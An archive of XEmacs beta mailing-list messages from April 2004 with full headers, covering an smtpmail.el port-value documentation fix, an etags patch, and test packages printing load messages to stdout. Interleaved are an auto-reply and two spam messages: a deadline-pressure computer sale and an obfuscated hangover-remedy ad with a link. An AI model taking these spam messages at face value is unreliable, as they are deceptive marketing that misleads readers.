with ESMTP id i3C5GBh9016586 for ; Mon, 12 Apr 2004 07:16:14 +0200 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BCtkW-00084U-00; Mon, 12 Apr 2004 14:12:48 +0900 To: Burkhard Militzer Cc: xemacs-beta@xemacs.org Subject: Re: long delays when using 21.4 (patch 12) References: Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Mon, 12 Apr 2004 14:12:48 +0900 In-Reply-To: (Burkhard Militzer's message of "Fri, 9 Apr 2004 18:02:29 -0400 (EDT)") Message-ID: <87y8p193u7.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Burkhard" == Burkhard Militzer writes: Burkhard> Any suggestions? Thank you in advance, Try a more recent version of XEmacs (the stable line is up to 21.4.15). For another, see if you can reproduce the bug running XEmacs as `xemacs -vanilla'. The recycle symbol is not the default, so you clearly have a customized version of XEmacs (perhaps as distributed by your Linux vendor, but whatever it is it's not what we distribute by default). Finally, send your bug report formatted by M-x report-xemacs-bug RET. This gives us a lot of platform information that we can correlate with other reports. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Mon Apr 12 01:32:04 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3C5W3s23241; Mon, 12 Apr 2004 01:32:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3C5V4I22551 for xemacs-beta-mailman@xemacs.org; Mon, 12 Apr 2004 01:31:04 -0400 Resent-From: "Stephen J. Turnbull" Resent-Message-ID: <16506.10648.641845.895663@gwyn.tux.org> Resent-Date: Mon, 12 Apr 2004 01:31:04 -0400 (EDT) Resent-To: xemacs-beta-mailman@xemacs.org X-Info: This message was accepted for relay by smtp01.mrf.mail.rcn.net as the sender used SMTP authentication X-Trace: f1m6zGc2dqt0jPzoT2UovIGDMpxXfJXnAefh5/OoncY= Reply-to: kdc@rcn.com Message-ID: <9ssmfdzlzg.fsf@rcn.com> Lines: 81 User-Agent: Gnus/5.090007 (Oort Gnus v0.07) XEmacs/21.4 (Common Lisp, i386-redhat-linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=HOT_NASTY autolearn=no version=2.63 From: kdc@rcn.com (Kevin D. Clark) To: xemacs-beta@xemacs.org Cc: Simon Josefsson Subject: documentation problem with smtpmail.el, smtpmail-auth-credentials, AUTH PLAIN Date: Fri, 09 Apr 2004 02:47:15 -0400 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , This bug report will be sent to the XEmacs Development Team, not to your local site managers!! Please write in English, because the XEmacs maintainers do not have translators to read other languages for them. Please describe as succinctly as possible: - What happened. - What you thought should have happened. - Precisely what you were doing at the time. Please also include any C or lisp back-traces that you may have. ================================================================ Dear Bug Team! I believe that I have run into a small documentation problem with smptmail.el . My ISP is now requiring that I authenticate myself when using SMTP. I see this: : $ telnet smtp.ISP.com smtp : Trying XXX.XXX.XXX.XXX : Connected to smtp.ISP.com. : Escape character is '^]'. : 220 smtp01.mrf.mail.ISP.net ESMTP [NO UCE] ISP Exim 3.35 #7 Fri, 09 Apr 2004 01:47:38 -0400 : EHLO : 250-smtp01.mrf.mail.ISP.net Hello dialup-XXX.XXX.XXX.XXX.dial1.somewhere.level3.net [XXX.XXX.XXX.XXX] : 250-SIZE 10485760 : 250-8BITMIME : 250-EXPN : 250-PIPELINING : 250-AUTH PLAIN LOGIN : 250 HELP : quit : 221 smtp01.mrf.mail.ISP.net closing connection : Connection closed by foreign host. After toying with getting smptmail.el to perform this authentication for waaay too long (including upgrading the smptmail.el that I am using to the one that I found in: ftp://ftp.us.xemacs.org/pub/xemacs/packages/mail-lib-1.64-pkg.tar.gz ) ...and walking through this packages source code, I have determined that my problem comes down to this comment in smtpmail.el: ;; Please add these lines in your .emacs(_emacs) or use customize. ... ;;(setq smtpmail-auth-credentials ; or use ~/.authinfo ;; '(("YOUR SMTP HOST" 25 "username" "password"))) Setting the port number to an integer DOESN'T WORK FOR ME. This works for me: (setq smtpmail-auth-credentials '(("smtp.ISP.com" "smtp" "kdc" nil))) This does not: (setq smtpmail-auth-credentials '(("smtp.ISP.com" 25 "kdc" nil))) The easiest thing to do might be to modify the documentation, but I'm not entirely sure what the package maintainers want to do here. Please let me know if I can be of further assistance, --kevin PS THANKS! My system information seems to be irrelevant, but I'll include this if it helps: XEmacs 21.4 (patch 6) "Common Lisp" [Lucid] (i386-redhat-linux, Mule) of Fri Feb 22 2002 on daffy.perf.redhat.com From xemacs-beta-admin@xemacs.org Mon Apr 12 01:32:09 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3C5W8s23301; Mon, 12 Apr 2004 01:32:08 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3C5VnS23118 for xemacs-beta-mailman@xemacs.org; Mon, 12 Apr 2004 01:31:49 -0400 Resent-From: "Stephen J. Turnbull" Resent-Message-ID: <16506.10693.903182.332270@gwyn.tux.org> Resent-Date: Mon, 12 Apr 2004 01:31:49 -0400 (EDT) Resent-To: xemacs-beta-mailman@xemacs.org X-Info: This message was accepted for relay by smtp01.mrf.mail.rcn.net as the sender used SMTP authentication X-Trace: Thwe1kIvpnMXAA9pF2VH4DRaEbTXWKYAOheJDTZFTD0= References: <9ssmfdzlzg.fsf@rcn.com> In-Reply-To: (Simon Josefsson's message of "Fri, 09 Apr 2004 15:43:40 +0200") Message-ID: Lines: 32 User-Agent: Gnus/5.090007 (Oort Gnus v0.07) XEmacs/21.4 (Common Lisp, i386-redhat-linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 From: kdc@rcn.com (Kevin D. Clark) To: Simon Josefsson Cc: xemacs-beta@xemacs.org Subject: Re: documentation problem with smtpmail.el, smtpmail-auth-credentials, AUTH PLAIN Date: Fri, 09 Apr 2004 14:31:26 -0400 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Simon Josefsson writes: > The port value you use must match (eq) the value of > smtpmail-smtp-service. It should default to 25 (the integer). Ah, that's it then. For some reason, my decade old .emacs file has the following in it: (setq smtpmail-smtp-service "smtp") I hadn't made that connection in my sleepy state last night -- thanks for pointing that out! [snip] > If it helps, I have installed the below to smtpmail.el in XEmacs and > Emacs. If you can point to any exact location in the SMTPMail manual > where you think this can be improved, that would be appreciated as > well. Feel free to suggest text. I think that the text that you've come up with is great. Certainly, if I had seen this commented in this way before I would have more quickly been able to debug my problem. So I think that the next person to encounter this problem will have a much easier time. Thanks for your help! And thanks for making this change! Regards, --kevin From xemacs-beta-admin@xemacs.org Mon Apr 12 08:43:12 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3CCh6s09412; Mon, 12 Apr 2004 08:43:06 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3CCgqV09257 for xemacs-beta-mailman@xemacs.org; Mon, 12 Apr 2004 08:42:52 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3CCgpT09238 for turnbull@tux.org; Mon, 12 Apr 2004 08:42:51 -0400 Received: from ns5.dnsprotect.com ([66.227.32.201]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3CCgos09234 for ; Mon, 12 Apr 2004 08:42:50 -0400 Received: from ns5.dnsprotect.com (localhost [127.0.0.1]) by ns5.dnsprotect.com (8.11.6/8.11.6) with ESMTP id i3CADbQ30248 for ; Mon, 12 Apr 2004 06:13:37 -0400 Date: Mon, 12 Apr 2004 06:13:37 -0400 Message-Id: <200404121013.i3CADbQ30248@ns5.dnsprotect.com> To: xemacs-beta@xemacs.org From: catch-all@thinkdan.com Reply-To: catch-all@thinkdan.com Precedence: junk X-Loop: catch-all@thinkdan.com Subject: Out of town X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.3 required=5.0 tests=NO_REAL_NAME autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , As of Saturday morning at 7am (GMT), I am out of town until the 14th of June. Please be patient, I will try my best to reply the day I return. If you are inquiring about paying me for an auction, all the instructions can be found in the payment instructions e-mail sent out to you shortly after the auction ended. Dan From xemacs-beta-admin@xemacs.org Mon Apr 12 11:12:04 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3CFC1s23633; Mon, 12 Apr 2004 11:12:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3CFB3S23213 for xemacs-beta-mailman@xemacs.org; Mon, 12 Apr 2004 11:11:03 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3CFB2L23202 for turnbull@tux.org; Mon, 12 Apr 2004 11:11:02 -0400 Received: from main.gmane.org (main.gmane.org [80.91.224.249]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3CFB0s23183 for ; Mon, 12 Apr 2004 11:11:01 -0400 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1BD35P-0004n0-00 for ; Mon, 12 Apr 2004 17:10:59 +0200 Received: from p508d28b4.dip.t-dialin.net ([80.141.40.180]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 12 Apr 2004 17:10:59 +0200 Received: from sven by p508d28b4.dip.t-dialin.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 12 Apr 2004 17:10:59 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: xemacs-beta@xemacs.org From: Sven Grundmann Subject: Re: etags named tags bug solved Date: Mon, 12 Apr 2004 17:08:04 +0200 Lines: 29 Message-ID: References: <873c79aiq6.fsf@tleepslib.sk.tsukuba.ac.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: p508d28b4.dip.t-dialin.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en-us, en In-Reply-To: <873c79aiq6.fsf@tleepslib.sk.tsukuba.ac.jp> X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Stephen J. Turnbull wrote: >>>>>>"Sven" == Sven Grundmann writes: > > > Sven> Here is my patch. Remember is currenlty just works with > Sven> excumberant ctags. If someone wants a the slow version for > Sven> xemacs ctags mail me. > > Send it to xemacs-patches. > > If your patch doesn't work with XEmacs's etags/ctags program, then it > won't go into the distribution, for sure. AFAIK I was the last > reviewer to work on the etags code, and I don't have time to fiddle > with it now. So if you want to see this in the distribution, the odds > are millions of times better if you send the patch that works with > XEmacs as is---otherwise it will just sit in the queue until somebody > gets around to it. > > If you want the optimization for exuberant ctags, too, you'll have to > set that up as an option. The default must work with the etags/ctags > distributed with XEmacs. > Hello Stephen, i checked it again and it also works with xemacs ctags. I just had a problem with my test. I will send it to xemacs patch list then. Best regards Sven From Administration@computeradmin.org Mon Apr 12 21:55:17 2004 Received: from MAXX-SERVER ([81.9.106.154]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3D1tBs09974; Mon, 12 Apr 2004 21:55:12 -0400 Received: from ([232.39.241.222]) by MAXX-SERVER with ESMTP id 65826925; Tue, 13 Apr 2004 00:56:05 -0200 Message-ID: From: "Admin" To: xemacs-beta-archive@xemacs.org Subject: ADV: Attention All Nonprofit Orgs: ( Members, Staff and Associates): Date: Tue, 13 Apr 04 00:56:05 GMT X-Priority: 1 X-MSMail-Priority: High X-Mailer: Microsoft Outlook Express 5.00.2615.200 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="E33280__92_BE_9" This is a multi-part message in MIME format. --E33280__92_BE_9 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Attention All Nonprofit Organizations, Members, Staff and Associates: You Must Respond By 5 P.M. Wednesday, April 14, 2004. Through a special arrangement, Avtech Direct is offering a limited allotment of BRAND NEW, top of-the-line, name-brand desktop computers at more than 50% off MSRP to all Nonprofit Members and Staff, who respond to this message before 5 P.M., Wednesday, April 14, 2004. All desktop computers are brand-new packed in their original boxes, and come with a full manufacturer's warranty plus a 100% satisfaction guarantee. These professional grade Desktops are fully equipped with 2004 next generation technology, making these the best performing computers money can buy. Avtech Direct is offering these feature rich, top performing Desktop Computers with the latest Intel technology at an amazing price to all who call: 1-800-884-9510 by 5 P.M. Wednesday, April 14, 2004 The fast and powerful AT-2400 series Desktop features: * Intel 2.0Ghz Processor for amazing speed and performance * 128MB DDR RAM, --- Upgradeable to 1024 * 20 GB UDMA Hard Drive, --- Upgradeable to 80 GB * 52X CD-Rom Drive, --- Upgradeable to DVD/CDRW * 1.44 Floppy disk drive * Next Generation Technology * ATI Premium video and sound * Full Connectivity with Fax modem/Lan/IEE 1394/USB 2.0 * Soft Touch Keyboard and scroll mouse * Internet Ready * Network Ready * 1 Year parts and labor warranty * Priority customer service and tech support MSRP $699 ........................................ Your Cost $297 How to qualify: 1. You must be a Member, Staff or Associate of a Nonprofit: 2. All desktop computers will be available on a first come first serve basis. 3. You must call 1-800-884-9510 by 5 P.M. Wednesday, April 14, 2004 and we will hold the desktops you request on will call. 4. You are not obligated in any way. 5. 100% Satisfaction Guaranteed. Call Avtech Direct 1-800-884-9510 before 5 P.M. Wednesday, April 14, 2004 If you wish to unsubscribe from this list, please go to: http://www.computeradvice.org/unsubscribe.asp --E33280__92_BE_9-- From xemacs-beta-admin@xemacs.org Mon Apr 12 22:00:15 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3D205s12676; Mon, 12 Apr 2004 22:00:05 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3D1x9F12115 for xemacs-beta-mailman@xemacs.org; Mon, 12 Apr 2004 21:59:09 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3D1x8R12100 for turnbull@tux.org; Mon, 12 Apr 2004 21:59:08 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3D1x8s12094 for ; Mon, 12 Apr 2004 21:59:08 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i3D1wtDu022468 for ; Mon, 12 Apr 2004 20:58:55 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i3D1wtHS026678; Mon, 12 Apr 2004 20:58:55 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i3D1wsxd026676; Mon, 12 Apr 2004 20:58:54 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: XEmacs Beta Subject: Stdout chatter with test packages From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Mon, 12 Apr 2004 20:58:54 -0500 Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , I just compiled and installed the packages currently in CVS after not having done so for awhile. Now, whenever I start up XEmacs, I get this on stdout: Loading xlib-math... Loading xlib-math...done Loading xwem-compat... Loading xwem-compat...done Loading xwem-keyboard... Loading edmacro... Loading edmacro...done Loading xwem-keyboard...done Have I hurt myself somehow, or is there something about these new packages that is causing this to print? I don't see it immediately. -- Jerry James http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Mon Apr 12 22:42:04 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3D2g2s03158; Mon, 12 Apr 2004 22:42:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3D2f6Q02649 for xemacs-beta-mailman@xemacs.org; Mon, 12 Apr 2004 22:41:06 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3D2f4Q02617 for turnbull@tux.org; Mon, 12 Apr 2004 22:41:04 -0400 Received: from rly-ip04.mx.aol.com (rly-ip04.mx.aol.com [64.12.138.8]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3D2f4s02613; Mon, 12 Apr 2004 22:41:04 -0400 Received: from smtp-dtc05.proxy.aol.com (smtp-dtc05.proxy.aol.com [205.188.118.19]) by rly-ip04.mx.aol.com (v98.19) with ESMTP id RELAYIN2-3407b52b6d9; Mon, 12 Apr 2004 22:38:46 -0400 Received: from HOVEL00 (AC806A02.ipt.aol.com [172.128.106.2]) by smtp-dtc05.proxy.aol.com (8.12.10/8.12.10) with ESMTP id i3D2d2aa013255; Tue, 13 Apr 2004 02:39:02 GMT Message-ID: <000601c42100$7bd7bfb0$0200a8c0@HOVEL00> From: "David Robinow" To: "XEmacs Beta" , "Jerry James" References: Subject: Re: Stdout chatter with test packages Date: Mon, 12 Apr 2004 22:39:03 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Scanned-By: MIMEDefang 2.40 X-Apparently-From: Robinows@aol.com X-AOL-IP: 205.188.118.19 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , > Have I hurt myself somehow, or is there something about these new > packages that is causing this to print? I don't see it immediately. I get the same thing after downloading from the pre-release site. I don't think it's you. From xemacs-beta-admin@xemacs.org Mon Apr 12 23:01:16 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3D316s14618; Mon, 12 Apr 2004 23:01:06 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3D30WW14021 for xemacs-beta-mailman@xemacs.org; Mon, 12 Apr 2004 23:00:32 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3D30Ub13976 for turnbull@tux.org; Mon, 12 Apr 2004 23:00:30 -0400 Received: from eicq.dnsalias.org (CPE-61-9-212-151.qld.bigpond.net.au [61.9.212.151]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3D30Ss13932 for ; Mon, 12 Apr 2004 23:00:28 -0400 Received: (from steve@localhost) by eicq.dnsalias.org (8.12.9/8.12.9) id i3D2rh8S022345; Tue, 13 Apr 2004 12:53:43 +1000 Mail-Copies-To: never To: XEmacs beta Subject: Re: Stdout chatter with test packages Keywords: loading References: From: Steve Youngs X-Face: %@A&y\ef)A6pi|q43;M>uyhO)~NP*fpdo0XrUuutf0|nku\O5JV(7EG%odc'n6}G@tYRl+B #[n,%B`.sHZ5>3MZvrm%,rWE7)c}ZXjH\>=p@AL\y\gyu|.lJ8B`F++86 Organization: The XEmacs Project X-Yow: I want DUSTIN HOFFMAN!! .. I want LIBRACE!! YOW!! X-X-Day: Only 2431503 days till X-Day. Got Slack? X-URL: X-Request-PGP: X-OpenPGP-Fingerprint: 1659 2093 19D5 C06E D320 3A20 1D27 DB4B A94B 3003 X-Discordian-Date: Pungenday, the 30th day of Discord, 3170. X-Attribution: SY Mail-Followup-To: XEmacs beta Date: Tue, 13 Apr 2004 12:53:41 +1000 In-Reply-To: (Jerry James's message of "Mon, 12 Apr 2004 20:58:54 -0500") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Security Through Obscurity, linux) MIME-Version: 1.0 Content-Type: multipart/signed; boundary="=-=-="; micalg=pgp-sha1; protocol="application/pgp-signature" X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --=-=-= * Jerry James writes: > I just compiled and installed the packages currently in CVS after not > having done so for awhile. Now, whenever I start up XEmacs, I get this > on stdout: > Loading xlib-math... > Loading xlib-math...done > Loading xwem-compat... > Loading xwem-compat...done > Loading xwem-keyboard... > Loading edmacro... > Loading edmacro...done > Loading xwem-keyboard...done > Have I hurt myself somehow, or is there something about these new > packages that is causing this to print? I don't see it immediately. If these messages were in `view-lossage', would they have attracted your attention? Would you have cared? In the grand scheme of things, does it really matter where they show up? BTW, to put your mind at ease, I don't think anything's broken. -- |---------------------| | XEmacs - The only _______ you'll ever need. | | Fill in the blank, yes, it's THAT good! | |---------------------------------| --=-=-= Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) Comment: Eicq - The XEmacs ICQ Client iEYEABECAAYFAkB7VjcACgkQHSfbS6lLMANuSwCfXimMySXBn+ur5bld+8hEnRHr dWgAn1gEL7yRPLETPhIyVwdMVCfqU0Vy =d9f5 -----END PGP SIGNATURE----- --=-=-=-- From xemacs-beta-admin@xemacs.org Mon Apr 12 23:27:12 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3D3R4s28680; Mon, 12 Apr 2004 23:27:04 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3D3QAE28219 for xemacs-beta-mailman@xemacs.org; Mon, 12 Apr 2004 23:26:10 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3D3Q9N28198 for turnbull@tux.org; Mon, 12 Apr 2004 23:26:09 -0400 Received: from aiceonline.com ([203.249.80.61]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3D3Q7s28179 for ; Mon, 12 Apr 2004 23:26:08 -0400 Date: Tue, 13 Apr 2004 03:24:00 +0000 From: koch@tug.org Subject: alcohvol processor To: Xemacs-beta References: <3EEEBB3K3HDBGH8B@xemacs.org> In-Reply-To: <3EEEBB3K3HDBGH8B@xemacs.org> Message-ID: MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=2.1 required=5.0 tests=DCC_CHECK,NO_REAL_NAME autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , - do you suffer from painful hangovters? - do you hate headaches, nausea and dehydrvation after excessive alcohol consumptQion? Uncle Rummnie knows what to do! http://wonderfulaction.com/rm/index.php?pid=eph9058 ...the morning will be good! From xemacs-beta-admin@xemacs.org Tue Apr 13 00:07:25 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3D476s19230; Tue, 13 Apr 2004 00:07:06 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3D46kf19048 for xemacs-beta-mailman@xemacs.org; Tue, 13 Apr 2004 00:06:46 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3D46hm19002 for turnbull@tux.org; Tue, 13 Apr 2004 00:06:43 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3D46hs18993 for ; Tue, 13 Apr 2004 00:06:43 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i3D46WDu031544 for ; Mon, 12 Apr 2004 23:06:32 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i3D46WHS028508; Mon, 12 Apr 2004 23:06:32 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i3D46WGV028506; Mon, 12 Apr 2004 23:06:32 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: XEmacs beta Subject: Re: Stdout chatter with test packages References: From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Mon, 12 Apr 2004 23:06:32 -0500 In-Reply-To: (Steve Youngs's message of "Tue, 13 Apr 2004 12:53:41 +1000") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Steve Youngs , on Tue, 13 Apr 2004 at 12:53:41 +1000 you wrote: > If these messages were in `view-lossage', would they have attracted > your attention? Would you have cared? No. In fact, that is where they should go. Other packages do that. > In the grand scheme of things, does it really matter where they show > up? Yes. > BTW, to put your mind at ease, I don't think anything's broken. Me neither. But I do think we need to stop printing these messages to stdout before the relevant packages are released, or else we're going to catch a lot of grief about it from our users. -- Jerry James http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Tue Apr 13 00:14:07 2004 